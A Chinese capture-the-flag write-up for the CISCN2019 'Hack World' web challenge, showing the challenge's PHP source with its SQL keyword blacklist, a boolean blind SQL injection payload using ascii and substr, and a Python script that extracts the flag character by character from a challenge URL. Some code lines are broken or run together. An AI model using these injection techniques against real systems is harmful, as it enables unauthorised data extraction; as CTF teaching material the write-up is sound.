[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注
eg:
id=(ascii(substr((select(flag)from(flag)),1,1))<128)

0x01

看了网上的源码发现:

<?php 
$dbuser='root'; 
$dbpass='root'; 
function safe($sql){ 
#被过滤的内容 函数基本没过滤 
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); 
foreach($blackList as $blackitem){ 
if(stripos($sql,$blackitem)){ 
return False; } } return True; 
} i
f(isset($_POST['id'])){ 
$id = $_POST['id']; 
}else
{ die();
} 
$db = mysql_connect("localhost",$dbuser,$dbpass); i
f(!$db){ 
die(mysql_error()); } 
mysql_select_db("ctf",$db); 
if(safe($id)){ 
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); 
if($query){ 
$result = mysql_fetch_array($query); 
if($result){ 
echo $result['content']; 
}else{ 
echo "Error Occured When Fetch Result."; 
} 
}else{ 
var_dump($query); 
} }else{ 
die("SQL Injection Checked."); }

过滤了一堆东西,可以看到很多函数没有过滤,
接下来就想办法借助函数构造注入就可以了。

借助substr函数截取flag中的内容,长度依次增加。用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。

0x2解题

贴上wp脚本

import requests i
mport time #url是随时更新的,具体的以做题时候的为准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""} f
lag = 'flag{'
i = 6
while True:

从可打印字符开始

begin = 32 end = 126 tmp = (begin+end)//2 while begin<end: print(begin,tmp,end) time.sleep(1) data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp) r = requests.post(url,data=data) if 'Hello' in r.text: begin = tmp+1 tmp = (begin+end)//2 else: end = tmp tmp = (begin+end)//2 flag+=chr(tmp) print(flag) i+=1 if flag[-1]=='}': break
参考链接
https://www.cnblogs.com/kevinbruce656/p/11342580.html

猜你喜欢

转载自www.cnblogs.com/wangtanzhi/p/11869684.html